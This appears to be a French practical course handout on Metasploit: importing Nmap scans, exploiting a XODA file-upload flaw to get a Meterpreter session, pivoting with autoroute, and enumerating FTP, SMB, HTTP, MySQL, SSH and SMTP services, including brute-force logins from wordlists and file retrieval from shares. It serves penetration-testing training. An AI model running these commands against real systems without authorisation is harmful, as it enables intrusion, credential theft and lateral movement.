Support officiel de cours pratique : import des scans Nmap dans Metasploit, modules auxiliaires de scan et de pivoting, et énumération détaillée des services FTP, SMB, HTTP, MySQL, SSH et SMTP.
Export des scans Nmap au format XML et import direct dans une base de données Metasploit.
Scan de ports, découverte réseau et pivoting après un premier accès (foothold).
FTP, SMB, HTTP, MySQL, SSH et SMTP : versions, comptes, partages et accès anonymes.
# Scan version de service + détection OS # sans host discovery (Pn) nmap -Pn -sV -O @IP_cible # Même scan, avec export au format XML nmap -Pn -sV -O -oX resultat.xml @IP_cible
# Démarrer la base de données et msfconsole service postgresql start && msfconsole # Vérifier l'état de la base db_status # Créer un espace de travail dédié workspace -a nom_workspace # Importer le fichier XML généré par Nmap db_import /chemin/resultat.xml # Afficher les hôtes importés hosts # Alternative : scanner directement depuis msfconsole db_nmap -Pn -sV -O @IP_cible
ifconfig service postgresql start && msfconsole workspace -a Port_Scan search portscan use auxiliary/scanner/portscan/tcp options set rhosts @IP_cible run
# Exploitation d'une application web vulnérable search xoda use exploit/unix/webapp/xoda_file_upload set rhost @IP_cible set targeturi / exploit # Une fois la session Meterpreter obtenue sysinfo shell # Découvrir les interfaces réseau internes ifconfig background # Créer une route vers le réseau interne découvert run autoroute -s @IP_reseau_interne sessions # Scanner ce nouveau réseau via le module auxiliaire use auxiliary/scanner/portscan/tcp set rhosts @IP_cible_interne run
workspace -a FTP use auxiliary/scanner/ftp/ftp_version set rhosts @IP_cible run use auxiliary/scanner/ftp/ftp_login set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt set rhosts @IP_cible run use auxiliary/scanner/ftp/anonymous set rhosts @IP_cible run # Accès direct au serveur FTP ftp @IP_cible get nom_fichier
setg rhosts @IP_cible use auxiliary/scanner/smb/smb_version run use auxiliary/scanner/smb/smb_enumusers info run use auxiliary/scanner/smb/smb_enumshares set ShowFiles true run use auxiliary/scanner/smb/smb_login set SMBUser admin set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt run # Accès direct au partage smbclient -L //IP_cible -U admin smbclient //IP_cible/nom_partage -U admin get nom_fichier
setg rhosts @IP_cible use auxiliary/scanner/http/http_version run use auxiliary/scanner/http/http_header run use auxiliary/scanner/http/robots_txt run use auxiliary/scanner/http/dir_scanner run use auxiliary/scanner/http/files_dir run use auxiliary/scanner/http/http_login set AUTH_URI /repertoire_cible/ set USER_FILE /usr/share/metasploit-framework/data/wordlists/namelist.txt set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt run
use auxiliary/scanner/mysql/mysql_version run use auxiliary/scanner/mysql/mysql_login set username root set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt run use auxiliary/scanner/mysql/mysql_sql set username root set SQL "show databases;" run use auxiliary/scanner/mysql/mysql_schema set username root run # Accès direct mysql -h @IP_cible -u root -p
setg PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_password.txt setg USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt use auxiliary/scanner/ssh/ssh_version use auxiliary/scanner/ssh/ssh_login use auxiliary/scanner/ssh/ssh_login_pubkey use auxiliary/scanner/ssh/ssh_login_enumusers
SMTP (Simple Mail Transfer Protocol) est utilisé pour la transmission d'e-mails. Il utilise le port TCP 25 par défaut, parfois configuré sur les ports 465 ou 587.
use auxiliary/scanner/smtp/smtp_version use auxiliary/scanner/smtp/smtp_enum
-oX) et l'importer dans un workspace Metasploit dédié (db_import).auxiliary/scanner/portscan/tcp pour redécouvrir ou compléter le scan de ports depuis msfconsole._version dédié existe pour chaque service courant (FTP, SMB, HTTP, MySQL, SSH, SMTP).USER_FILE / PASS_FILE).run autoroute pour scanner un réseau interne autrement inaccessible.